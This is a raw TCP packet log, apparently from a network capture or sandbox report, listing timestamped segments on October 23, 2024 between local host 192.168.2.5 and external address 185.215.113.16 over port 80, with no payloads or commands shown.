Oct 23, 2024 15:49:22.671180964 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671199083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671205044 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671221018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671231031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671245098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671260118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671267986 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671284914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671298981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671303034 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671324968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671327114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671344995 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671351910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671360970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671382904 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671405077 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.713483095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.713501930 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.713519096 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.713534117 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.713608027 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.713629007 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.714245081 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.714281082 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.714315891 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.714339018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.714368105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.759628057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759660959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759679079 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759694099 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759711027 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759730101 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759746075 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759762049 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759779930 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.759839058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.759854078 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759870052 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759891987 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759907007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759911060 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.759928942 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759931087 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.759952068 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759963036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.759968042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759989023 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.759990931 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.760006905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.760013103 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.760039091 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.760050058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808046103 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808099031 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808149099 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808181047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808229923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808232069 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808268070 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808294058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808305979 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808317900 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808351994 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808387041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808393955 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808420897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808466911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808471918 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808526993 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808574915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808578014 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808612108 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808638096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808653116 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808666945 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808700085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808708906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808734894 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808742046 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808770895 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808777094 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808805943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808840036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808849096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808875084 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808907986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808917999 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808942080 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.808945894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.808976889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809010029 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809020042 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809043884 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809077024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809088945 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809109926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809118986 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809144974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809178114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809187889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809212923 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809248924 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809254885 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809283018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809289932 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809317112 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809350014 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809364080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809385061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809393883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.809420109 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.809463978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.168668985 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.168747902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.168745995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.168802023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.168806076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.168858051 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.168879032 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.168932915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.168935061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.168987036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.168996096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169020891 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169040918 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169054031 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169071913 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169090986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169109106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169122934 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169148922 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169171095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169183969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169205904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169233084 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169240952 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169251919 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169281006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169302940 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169317007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169332981 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169373035 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169373035 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169454098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169465065 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169493914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169502974 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169531107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169550896 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169583082 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169588089 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169620037 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169636011 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169673920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169681072 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169709921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169729948 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169743061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169751883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169779062 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169800043 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169828892 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169828892 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169864893 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169883013 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169900894 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169924021 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169939995 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.169962883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.169975042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170007944 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170011044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170042038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170057058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170057058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170078039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170092106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170111895 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170129061 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170145988 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170166969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170180082 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170195103 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170217991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170233011 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170260906 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170272112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170298100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170319080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170335054 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170341969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170372963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170391083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170432091 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170432091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170481920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170485973 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170520067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170536041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170573950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170577049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170624971 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170631886 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170659065 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170682907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170694113 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170718908 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170731068 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170757055 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170787096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170788050 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170839071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170841932 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170872927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170897961 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170909882 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170917988 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170945883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.170964003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.170996904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171001911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171032906 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171049118 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171071053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171077967 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171077967 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171106100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171112061 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171139002 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171161890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171171904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171191931 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171209097 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171221972 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171243906 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171260118 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171277046 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171297073 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171310902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171350002 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171375990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171390057 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171427011 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171427965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171459913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171480894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171493053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171504021 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171530962 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171544075 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171565056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171581030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171598911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171617985 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171627998 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171647072 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171664000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171685934 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171698093 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171724081 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171761036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171788931 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171823025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171844006 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171854973 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171861887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171889067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171905041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171924114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171933889 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.171957016 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.171992064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172024965 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172058105 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172065973 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172090054 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172091007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172120094 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172123909 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172137976 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172158003 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172187090 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172190905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172207117 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172223091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172243118 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172250986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172267914 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172285080 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172298908 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172318935 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172349930 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172350883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172369957 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172389984 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172415972 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172418118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172437906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172451019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172458887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172489882 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172503948 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172524929 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172552109 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172559023 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172569036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172591925 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172610044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172629118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172645092 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172657967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172682047 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172692060 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172708035 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172727108 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172744036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172761917 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172789097 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172795057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172810078 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172827959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172852993 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172862053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172878027 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172894001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172914028 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172928095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172935963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.172960997 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.172979116 CEST	49990	80	192.168.2.5	185.215.113.16
